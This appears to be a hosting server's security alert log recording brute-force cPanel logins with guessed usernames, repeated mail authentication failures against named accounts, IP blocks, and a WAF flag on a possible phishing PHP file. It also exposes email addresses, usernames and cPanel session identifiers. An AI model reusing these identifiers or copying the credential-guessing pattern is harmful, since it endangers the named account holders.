name: Login failed on the cpanel service.
abuser: 97.215.97.81
country_id: 6252001
description:
[2026-06-16 15:40:17 +0000] info [cpaneld] 97.215.97.81 - lagorainf "GET /login/?login_only=1&user=lagorainf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.176.218.6
country_id: 3469034
description:
[2026-06-16 15:40:38 +0000] info [cpaneld] 45.176.218.6 - lag "GET /login/?login_only=1&user=lag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lag (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:41:06 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57899: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:41:09 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:22793: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 147.236.230.8
country_id: 294640
description:
[2026-06-16 15:40:23 +0000] info [cpaneld] 147.236.230.8 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.136.79.46
country_id: 2017370
description:
[2026-06-16 15:40:22 +0000] info [cpaneld] 5.136.79.46 - lagorai "GET /login/?login_only=1&user=lagorai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.0.142.136
country_id: 2464461
description:
[2026-06-16 15:40:38 +0000] info [cpaneld] 197.0.142.136 - lag "GET /login/?login_only=1&user=lag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.235.250.188
country_id: 3469034
description:
[2026-06-16 15:40:41 +0000] info [cpaneld] 45.235.250.188 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 140.99.164.34
country_id: 3469034
description:
140.99.164.34 - - [16/Jun/2026:15:40:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472861&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624034 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari Line/26.6.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.99.164.34


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 219.92.212.75
country_id: 1733045
description:
[2026-06-16 15:40:42 +0000] info [cpaneld] 219.92.212.75 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.99.77.185
country_id: 3658394
description:
[2026-06-16 15:40:28 +0000] info [cpaneld] 190.99.77.185 - lagor "GET /login/?login_only=1&user=lagor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.224.179.48
country_id: 1562822
description:
[2026-06-16 15:40:34 +0000] info [cpaneld] 171.224.179.48 - lago "GET /login/?login_only=1&user=lago&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lago (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:42:08 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:57901: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:42:11 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:16000: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.203.220.178
country_id: 732800
description:
Jun 16 15:42:06 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.203.220.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 16 15:42:17 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.82.173.15
country_id: 1814991
description:
2026-06-16 15:41:33 dovecot_plain authenticator failed for H=(95gm1nuv8dfd8hcer5gdudolhvw) [49.82.173.15]:60088: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun 16 15:42:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.207
country_id: 6252001
description:
[2026-06-16 15:42:56 +0000] info [cpaneld] 134.195.83.207 NEW gemwjxuz:mDgX9po0TVq9QPrl address=134.195.83.207,app=cpaneld,creator=gemwjxuz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:43:12 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:6912: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jun 16 15:42:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.72.176.66
country_id: 2542007
description:
Jun 16 15:42:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.72.176.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.16
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.587210043567463.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.179.134.108
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1438572590 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 16 15:44:16 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:44:11 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1153: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:45:18 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1154: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.36.194.131
country_id: 272103
description:
Jun 16 15:44:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.36.194.131 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:44:48 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.86
country_id: 2077456
description:
103.108.92.86 - - [16/Jun/2026:15:44:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.86


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 16 15:45:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.233
country_id: 3017382
description:
[2026-06-16 15:45:16 +0000] info [cpaneld] 5.231.255.233 NEW ifxmoxbf:GmV3DUwu8qxE0eVr address=5.231.255.233,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:44:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.86
country_id: 2077456
description:
103.108.92.86 - - [16/Jun/2026:15:44:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.86


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.169
country_id: 2635167
description:
[2026-06-16 15:45:06 +0000] info [cpaneld] 5.230.153.169 NEW ifxmoxbf:aBpbWpbyAk5iOC6z address=5.230.153.169,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 16 15:45:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 140.99.164.34
country_id: 3469034
description:
140.99.164.34 - - [16/Jun/2026:15:46:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472861&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624034 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.99.164.34


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 105.112.205.223
country_id: 2328926
description:
[2026-06-16 15:47:10 +0000] info [cpaneld] 105.112.205.223 NEW yydrdvav:HJ_GxbqvaRDVAMWN address=105.112.205.223,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:47:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973550&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624835 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:46:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:20353: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.41
country_id: 690791
description:
Jun 16 15:46:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.236
country_id: 3469034
description:
Jun 16 15:47:14 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.236 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.86
country_id: 2077456
description:
103.108.92.86 - - [16/Jun/2026:15:47:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274199&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624836 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.86


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.86.215
country_id: 298795
domain: mail.lasnb.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.lasnb.com:80/css/font-awesome.min.css HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.213.217
country_id: 2077456
description:
103.1.213.217 - - [16/Jun/2026:15:47:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920085&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624836 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.213.217


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 140.99.164.34
country_id: 3469034
description:
140.99.164.34 - - [16/Jun/2026:15:46:52 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472861&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624034" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.99.164.34


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.236
country_id: 3469034
description:
Jun 16 15:47:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:47:22 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:20359: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.179.228.60
country_id: 798544
description:
Jun 16 15:47:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.179.228.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.56.224.40
country_id: 290557
domain: mail.lasnb.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.lasnb.com:80/css/animate.css HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.251.38
country_id: 2017370
domain: mail.lasnb.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.lasnb.com:80/css/style.css HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.135.212
country_id: 3508796
domain: mail.lasnb.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.lasnb.com:80/css/owl-carousel/owl.theme.default.min.css HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.135.34
country_id: 3508796
domain: mail.lasnb.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.lasnb.com:80/css/bootstrap.min.css HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.239.11
country_id: 2635167
domain: mail.lasnb.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.lasnb.com:80/css/style2.css HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:48:25 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:20360: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:15:50:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274199&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624836 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:49:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:15488: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - e.senahounvo@davakconsulting.com [06/16/2026:15:51:12 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: e.senahounvo@davakconsulting.com


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.241.17
country_id: 2077456
description:
170.64.241.17 - - [16/Jun/2026:15:50:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274199&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624836 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.17


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:50:27 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:12672: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/16/2026:15:51:44 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:15:51:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274199&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781624836 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPad; CPU OS 17_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:52:15 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49683: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.223.254
country_id: 2363686
description:
2026-06-16 15:52:31 dovecot_login authenticator failed for H=(ANOUMAH) [196.170.223.254]:62715: 535 Incorrect authentication data (set_id=a.daniel@afrique-distribution.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:53:19 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49685: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.223.254
country_id: 2363686
description:
2026-06-16 15:53:37 dovecot_login authenticator failed for H=(ANOUMAH) [196.170.223.254]:63496: 535 Incorrect authentication data (set_id=a.daniel@afrique-distribution.net)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.232
country_id: 6252001
description:
[2026-06-16 15:53:39 +0000] info [cpaneld] 173.211.89.232 NEW sahamtg:OheJ0lHjY9ov7U_g address=173.211.89.232,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:54:23 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49688: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.223.254
country_id: 2363686
description:
2026-06-16 15:54:41 dovecot_login authenticator failed for H=(ANOUMAH) [196.170.223.254]:59482: 535 Incorrect authentication data (set_id=a.daniel@afrique-distribution.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.141
country_id: 3175395
description:
Jun 16 15:54:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.141 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 90.14.84.135
country_id: 3017382
description:
90.14.84.135 - - [16/Jun/2026:15:55:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920595&pdata=https%253A%252F%252Fmacite.tg%252F2026%252Fpage%252F75%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781625327 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/page/75/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.5359.1923 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:90.14.84.135


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 207.241.238.152
country_id: 6252001
description:
207.241.238.152 - - [16/Jun/2026:15:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13672272 HTTP/1.1" 404 561 www.afrique-distribution.net "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:207.241.238.152


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.223.254
country_id: 2363686
description:
2026-06-16 15:55:42 dovecot_login authenticator failed for H=(ANOUMAH) [196.170.223.254]:64623: 535 Incorrect authentication data (set_id=a.daniel@afrique-distribution.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:55:24 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49690: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.223.254
country_id: 2363686
description:
2026-06-16 15:56:22 dovecot_login authenticator failed for H=(ANOUMAH) [196.170.223.254]:59564: 535 Incorrect authentication data (set_id=a.daniel@afrique-distribution.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:56:31 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49697: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:56:47 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:9857: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 196.170.223.254
country_id: 2363686
description:
2026-06-16 15:56:50 dovecot_login authenticator failed for H=(ANOUMAH) [196.170.223.254]:59575: 535 Incorrect authentication data (set_id=a.daniel@afrique-distribution.net)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.86
country_id: 2077456
description:
103.108.92.86 - - [16/Jun/2026:15:58:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.86


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.86
country_id: 2077456
description:
